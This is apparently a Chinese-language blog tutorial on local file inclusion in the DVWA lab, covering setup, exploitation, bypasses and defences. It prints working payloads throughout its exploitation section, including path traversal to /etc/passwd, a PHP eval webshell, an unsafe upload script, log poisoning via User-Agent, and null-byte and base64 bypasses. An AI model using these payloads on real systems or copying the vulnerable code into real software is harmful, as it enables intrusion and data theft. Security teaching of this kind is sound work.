本地文件包含(LFI)漏洞详解:基于 DVWA 的原理与利用

本地文件包含(LFI)漏洞详解:基于 DVWA 的原理与利用

一、前言

本地文件包含(LFI,Local File Inclusion) 是一种常见的 Web 安全漏洞,攻击者通过控制动态包含的文件路径,读取服务器上的敏感文件,甚至结合其他漏洞(如文件上传)实现远程代码执行(RCE)。本文基于 DVWA(Damn Vulnerable Web Application) 靶场的 LFI 模块,详细剖析 LFI 漏洞的原理、代码结构、利用方式、绕过技巧及防护措施,旨在帮助安全从业者和开发者深入理解 LFI 漏洞的成因与防范方法。

学习目标

  • 掌握 LFI 漏洞的触发原理和代码缺陷
  • 学会利用 DVWA 复现 LFI 漏洞
  • 理解 LFI 的绕过技巧(如编码、日志包含)
  • 掌握防御 LFI 漏洞的最佳实践

免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!


二、漏洞原理分析

1. LFI 漏洞定义

LFI 漏洞是指 Web 应用在动态包含文件(如 PHP 的 includerequire)时,未对用户输入的参数进行严格过滤,允许攻击者指定任意本地文件路径,导致敏感文件泄露或代码执行。

典型代码

1
2
3
4
<?php
$file = $_GET['page'];
include($file);
?>

攻击示例

1
http://target.com/index.php?page=../../../../etc/passwd
  • 攻击者通过 page 参数控制包含路径,读取 /etc/passwd 等敏感文件。

2. 危害

  • 信息泄露:读取配置文件、系统文件(如 /etc/passwd)。
  • 代码执行:结合文件上传或日志注入,执行恶意代码。
  • 服务器接管:配合反弹 Shell 或 WebShell 实现 RCE。

3. DVWA 代码分析

以下是 DVWA LFI 模块的简化代码(vulnerabilities/fi/source/index.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// 获取要包含的文件
$file = $_GET['page'];

switch($vuln_level) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}

// 包含对应等级的文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/fi/source/' . $vulnerabilityFile;

// 实际包含用户输入文件
if (isset($file)) {
include($file);
} else {
header("Location: ?page=include.php");
exit;
}

// 输出页面
dvwaHtmlEcho($page);
?>

代码问题

  • 变量 $file
    • 直接来自 $_GET['page'],未经过任何过滤。
    • 通过 include($file) 动态包含,允许攻击者控制文件路径。
  • 缺乏校验
    • 未限制 $file 的路径范围,可能导致目录穿越(如 ../../../../etc/passwd)。
  • 不同安全等级
    • low.php:无任何过滤,直接包含。
    • medium.php:可能添加部分过滤(如移除 ../),但可绕过。
    • high.php:加强过滤,但仍可能存在漏洞。
    • impossible.php:使用白名单机制,较为安全。

三、靶场环境搭建

1. 环境信息

  • 操作系统:Kali Linux(虚拟机,推荐 4GB 内存,2 核 CPU)
  • 靶场:DVWA
  • 工具
    • Burp Suite(抓包与请求修改)
    • 蚁剑(WebShell 管理,结合文件上传)
    • Firefox(测试请求)
  • 靶站地址http://localhost/dvwa

2. DVWA 安装

  1. 下载 DVWA
    1
    2
    git clone https://github.com/digininja/DVWA.git
    cd DVWA
  2. 配置环境
    • 将 DVWA 目录复制到 Web 根目录(如 /var/www/html/):
      1
      sudo cp -r DVWA /var/www/html/dvwa
    • 配置 Nginx 或 Apache,以及 PHP 和 MySQL。
  3. 修改配置文件
    • 编辑 config/config.inc.php
      1
      2
      3
      4
      $_DVWA['db_server'] = 'localhost';
      $_DVWA['db_database'] = 'dvwa';
      $_DVWA['db_user'] = 'root';
      $_DVWA['db_password'] = 'your_password';
  4. 启动服务
    1
    2
    sudo service apache2 start
    sudo service mysql start
  5. 访问靶场
    • 访问 http://localhost/dvwa,完成安装。
    • 默认用户:admin / password
    • 设置安全等级:Low(便于测试)。

四、漏洞利用方式

1. 读取系统文件

步骤

  1. 构造 Payload
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
  2. 发送请求
    • 使用 Firefox 或 Burp Suite 访问。
  3. 结果
    • 页面返回 /etc/passwd 内容,如:
      1
      2
      3
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      ...

适用场景

  • 服务器未配置 open_basedir 限制。
  • 需要泄露系统配置或用户信息。

2. 读取源码文件

步骤

  1. 构造 Payload
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php
  2. 结果
    • 返回 config.inc.php 的内容,可能包含数据库凭据:
      1
      2
      $_DVWA['db_user'] = 'root';
      $_DVWA['db_password'] = 'your_password';

适用场景

  • 获取应用配置文件,提取敏感信息(如数据库密码)。

3. LFI 结合文件上传实现 RCE

步骤

  1. 搭建上传环境
    • 创建上传脚本(参考前文):
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      if (isset($_FILES['file'])) {
      move_uploaded_file($_FILES['file']['tmp_name'], 'Uploads/' . $_FILES['file']['name']);
      echo "上传成功:Uploads/" . $_FILES['file']['name'];
      }
      ?>
      <form method="post" enctype="multipart/form-data">
      <input type="file" name="file">
      <input type="submit">
      </form>
    • 保存为 /var/www/html/dvwa/upload.php
  2. 上传 WebShell
    • 创建 shell.txt
      1
      echo "<?php @eval(\$_POST['cmd']); ?>" > shell.txt
    • 使用 Burp Suite 上传至 /Uploads/shell.txt
  3. 包含执行
    • 访问:
      1
      http://localhost/dvwa/vulnerabilities/fi/?page=Uploads/shell.txt&cmd=system('id');
    • 结果:返回命令执行结果:
      1
      uid=33(www-data) gid=33(www-data)

连接蚁剑

  • 配置
    • URLhttp://localhost/dvwa/vulnerabilities/fi/?page=Uploads/shell.txt
    • 密码cmd
    • 类型:PHP
  • 功能:命令执行、文件管理、反弹 Shell。

4. 日志包含(Log Poisoning)

步骤

  1. 注入日志
    • 发送请求,注入 User-Agent:
      1
      2
      3
      GET / HTTP/1.1
      Host: localhost
      User-Agent: <?php system($_GET['cmd']); ?>
    • Nginx 日志(/var/log/nginx/access.log)记录:
      1
      "<?php system($_GET['cmd']); ?>" - -
  2. 包含日志
    • 访问:
      1
      http://localhost/dvwa/vulnerabilities/fi/?page=/var/log/nginx/access.log&cmd=whoami
    • 结果:返回 www-data

适用场景

  • WAF 未过滤 User-Agent。
  • 日志文件路径可访问。

五、绕过技巧

1. Null 字节注入

  • 适用版本:PHP < 5.3.4(低版本存在 Null 字节截断漏洞)。
  • Payload
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=../../shell.php%00
  • 效果:截断后缀检查,包含 shell.php

2. 编码绕过

  • URL 编码
    • ../ -> ..%2f
    • /etc/passwd -> %2fetc%2fpasswd
  • 双重编码
    • ../ -> ..%252f
  • Base64 编码
    • page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

3. 日志包含

  • 注入 HTTP 头(如 User-Agent、Referer):
    1
    User-Agent: <?php system($_GET['cmd']); ?>
  • 包含日志文件:
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=/var/log/nginx/access.log

4. 上传文件绕过

  • 伪装后缀
    • 上传 shell.php.jpgshell.txt
    • 包含:page=Uploads/shell.php.jpg
  • MIME 类型伪造
    • 修改 Content-Type 为 image/jpeg

六、防御建议

1. 开发层

  • 白名单机制
    1
    2
    3
    4
    5
    6
    7
    $whitelist = ['home', 'about', 'contact'];
    $page = $_GET['page'] ?? 'home';
    if (in_array($page, $whitelist)) {
    include("pages/{$page}.php");
    } else {
    include("pages/404.php");
    }
  • 路径验证
    1
    2
    3
    4
    5
    6
    $page = basename($_GET['page']);
    if (preg_match('/^[a-zA-Z0-9_]+\.php$/', $page)) {
    include("pages/$page");
    } else {
    die("非法路径!");
    }
  • 文件上传校验
    1
    2
    3
    4
    5
    6
    7
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
    if (!in_array($mime, ['image/jpeg', 'image/png'])) {
    die("仅允许图片!");
    }
    $newname = uniqid() . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], "Uploads/$newname");

2. 服务器配置

  • 禁用远程包含
    1
    2
    allow_url_include = Off
    allow_url_fopen = Off
  • 限制目录访问
    1
    open_basedir = /var/www/html/
  • 禁用危险函数
    1
    disable_functions = system,exec,shell_exec,passthru,proc_open
  • Nginx 限制
    1
    2
    3
    4
    5
    location /Uploads/ {
    location ~ \.php$ {
    deny all;
    }
    }

3. WAF 部署

  • 拦截异常路径(如 ../php://)。
  • 检测包含 PHP 代码的上传文件。

4. 日志监控

  • 监控 Web 服务器日志,关注异常请求。
  • 定期扫描上传目录,删除可疑文件。

七、总结

项目 信息
漏洞类型 本地文件包含(LFI)
靶场 DVWA
利用方式 读取文件、结合上传实现 RCE
绕过技巧 Null 字节、编码、日志注入
危害 信息泄露、服务器完全控制
修复核心 白名单校验、路径限制、上传过滤

LFI 漏洞因其简单性和高危害性而广受关注。DVWA 的 LFI 模块通过动态包含用户输入的文件,展示了漏洞的典型触发方式。攻击者可读取敏感文件或结合文件上传、日志注入等实现 RCE。开发者应采用白名单机制、严格路径校验、限制上传文件执行,并部署 WAF 和日志监控,构建多层次防御体系。

免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!


本地文件包含(LFI)漏洞详解:基于 DVWA 的原理与利用
https://bae-ace.github.io/2025/08/07/本地文件包含(LFI)漏洞详解:基于-DVWA-的原理与利用/
作者
bae
发布于
2025年8月7日
许可协议